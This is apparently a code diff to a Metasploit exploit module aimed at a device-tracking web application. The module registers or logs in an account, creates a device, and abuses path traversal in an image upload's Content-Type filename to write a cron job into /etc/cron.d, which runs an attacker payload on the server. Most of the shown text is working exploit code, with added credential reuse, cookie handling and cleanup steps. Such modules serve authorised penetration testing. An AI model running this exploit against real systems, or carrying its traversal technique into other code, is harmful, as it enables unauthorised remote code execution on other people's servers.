@@ -42,6 +42,9 @@ def initialize(info = {})
4242 }
4343 ]
4444 ] ,
45+ 'Payload' => {
46+ 'BadChars' => "\x27 " # apostrophe (')
47+ } ,
4548 'DefaultTarget' => 0 ,
4649 'DefaultOptions' => {
4750 'WfsDelay' => 75
@@ -89,10 +92,11 @@ def check
8992 end
9093
9194 def exploit
95+ prepare_setup
9296 execute_command ( payload . encoded )
9397 end
9498
95- def execute_command ( cmd )
99+ def prepare_setup
96100 print_status ( 'Registering new user...' )
97101 body = {
98102 name : datastore [ 'USERNAME' ] ,
@@ -112,11 +116,39 @@ def execute_command(cmd)
112116 fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
113117 end
114118
119+ auth_status = false
120+
115121 # not quite necessary to check for this, since we exit all cases that are not 200 below, but this is a common error
116122 # to run into when this module is executed more than once without updating the provided email address
117123 if res . code == 400 && res . to_s . include? ( 'Unique index or primary key violation' )
118- vprint_status ( res . to_s )
119- fail_with ( Failure ::UnexpectedReply , 'Error: The same E-mail already exists on the system' )
124+ print_status ( 'The same E-mail already exists on the system, trying to authenticate with existing password...' )
125+ res = send_request_cgi (
126+ 'method' => 'POST' ,
127+ 'keep_cookies' => true ,
128+ 'uri' => normalize_uri ( target_uri . path , 'api/session' ) ,
129+ 'ctype' => 'application/x-www-form-urlencoded' ,
130+ 'vars_post' => {
131+ 'email' => datastore [ 'EMAIL' ] ,
132+ 'password' => datastore [ 'PASSWORD' ]
133+ }
134+ )
135+
136+ unless res
137+ fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
138+ end
139+
140+ jsessionid = res . get_cookies . scan ( /JSESSIONID=([^;]+)/ ) . flatten [ 0 ]
141+ fail_with ( Failure ::UnexpectedReply , 'JSESSIONID not found.' ) unless jsessionid
142+ vprint_status ( "JSESSIONID: #{ jsessionid } " )
143+
144+ json = res . get_json_document
145+ unless res . code == 200 && json [ 'name' ] == datastore [ 'USERNAME' ] && json [ 'email' ] == datastore [ 'EMAIL' ]
146+ print_status ( 'Provide the correct password for the existing E-Mail address, or provide a new E-Mail address.' )
147+ fail_with ( Failure ::UnexpectedReply , res . to_s )
148+ end
149+
150+ auth_status = true
151+
120152 end
121153
122154 unless res . code == 200
@@ -129,30 +161,35 @@ def execute_command(cmd)
129161 fail_with ( Failure ::UnexpectedReply , 'Received unexpected reply:\n' + json . to_s )
130162 end
131163
132- print_status ( 'Authenticating...' )
133- res = send_request_cgi (
134- 'method' => 'POST' ,
135- 'uri' => normalize_uri ( target_uri . path , 'api/session' ) ,
136- 'ctype' => 'application/x-www-form-urlencoded' ,
137- 'vars_post' => {
138- 'email' => datastore [ 'EMAIL' ] ,
139- 'password' => datastore [ 'PASSWORD' ]
140- }
141- )
164+ if auth_status == false
165+ print_status ( 'Authenticating...' )
166+ res = send_request_cgi (
167+ 'method' => 'POST' ,
168+ 'keep_cookies' => true ,
169+ 'uri' => normalize_uri ( target_uri . path , 'api/session' ) ,
170+ 'ctype' => 'application/x-www-form-urlencoded' ,
171+ 'vars_post' => {
172+ 'email' => datastore [ 'EMAIL' ] ,
173+ 'password' => datastore [ 'PASSWORD' ]
174+ }
175+ )
142176
143- unless res
144- fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
145- end
177+ unless res
178+ fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
179+ end
146180
147- jsessionid = res . get_cookies . scan ( /JSESSIONID=([^;]+)/ ) . flatten [ 0 ]
148- fail_with ( Failure ::UnexpectedReply , 'JSESSIONID not found.' ) unless jsessionid
149- vprint_status ( "JSESSIONID: #{ jsessionid } " )
181+ jsessionid = res . get_cookies . scan ( /JSESSIONID=([^;]+)/ ) . flatten [ 0 ]
182+ fail_with ( Failure ::UnexpectedReply , 'JSESSIONID not found.' ) unless jsessionid
183+ vprint_status ( "JSESSIONID: #{ jsessionid } " )
150184
151- json = res . get_json_document
152- unless res . code == 200 && json [ 'name' ] == datastore [ 'USERNAME' ] && json [ 'email' ] == datastore [ 'EMAIL' ]
153- fail_with ( Failure ::UnexpectedReply , 'Received unexpected reply:\n' + json . to_s )
185+ json = res . get_json_document
186+ unless res . code == 200 && json [ 'name' ] == datastore [ 'USERNAME' ] && json [ 'email' ] == datastore [ 'EMAIL' ]
187+ fail_with ( Failure ::UnexpectedReply , 'Received unexpected reply:\n' + json . to_s )
188+ end
154189 end
190+ end
155191
192+ def execute_command ( cmd )
156193 name_v = Rex ::Text . rand_text_alphanumeric ( 16 )
157194 unique_id_v = Rex ::Text . rand_text_alphanumeric ( 16 )
158195
@@ -165,9 +202,7 @@ def execute_command(cmd)
165202 res = send_request_cgi (
166203 'method' => 'POST' ,
167204 'uri' => normalize_uri ( target_uri . path , 'api/devices' ) ,
168- 'headers' => {
169- 'Cookie' => "JSESSIONID=#{ jsessionid } "
170- } ,
205+ 'keep_cookies' => true ,
171206 'ctype' => 'application/json' ,
172207 'data' => body
173208 )
@@ -190,9 +225,7 @@ def execute_command(cmd)
190225 res = send_request_cgi (
191226 'method' => 'POST' ,
192227 'uri' => normalize_uri ( target_uri . path , "api/devices/#{ id } /image" ) ,
193- 'headers' => {
194- 'Cookie' => "JSESSIONID=#{ jsessionid } "
195- } ,
228+ 'keep_cookies' => true ,
196229 'ctype' => 'image/png' ,
197230 'data' => body
198231 )
@@ -208,9 +241,7 @@ def execute_command(cmd)
208241 res = send_request_cgi (
209242 'method' => 'POST' ,
210243 'uri' => normalize_uri ( target_uri . path , "api/devices/#{ id } /image" ) ,
211- 'headers' => {
212- 'Cookie' => "JSESSIONID=#{ jsessionid } "
213- } ,
244+ 'keep_cookies' => true ,
214245 'ctype' => "image/png;#{ fn } =\" /b\" " ,
215246 'data' => body
216247 )
@@ -229,9 +260,7 @@ def execute_command(cmd)
229260 res = send_request_cgi (
230261 'method' => 'POST' ,
231262 'uri' => normalize_uri ( target_uri . path , "api/devices/#{ id } /image" ) ,
232- 'headers' => {
233- 'Cookie' => "JSESSIONID=#{ jsessionid } "
234- } ,
263+ 'keep_cookies' => true ,
235264 'ctype' => "image/png;#{ fn } =\" /../../../../../../../../../etc/cron.d/#{ cronfn } \" " ,
236265 'data' => body
237266 )
@@ -246,6 +275,23 @@ def execute_command(cmd)
246275 fail_with ( Failure ::UnexpectedReply , res . to_s )
247276 end
248277
278+ vprint_status ( 'Cleanup: Deleting previously added device...' )
279+ res = send_request_cgi (
280+ 'method' => 'DELETE' ,
281+ 'uri' => normalize_uri ( target_uri . path , "api/devices/#{ id } " ) ,
282+ 'headers' => {
283+ 'Connection' => 'close'
284+ }
285+ )
286+
287+ unless res
288+ print_bad ( 'Failed to receive a reply from the server, device removal might have failed.' )
289+ end
290+
291+ unless res . code == 204
292+ print_bad ( 'Received unexpected reply, device removal might have failed:\n' + res . to_s )
293+ end
294+
249295 # It takes up to one minute to get the cron job executed; need to wait as otherwise the handler might terminate too early
250296 print_status ( 'Cronjob successfully written - waiting for execution...' )
251297 end
0 commit comments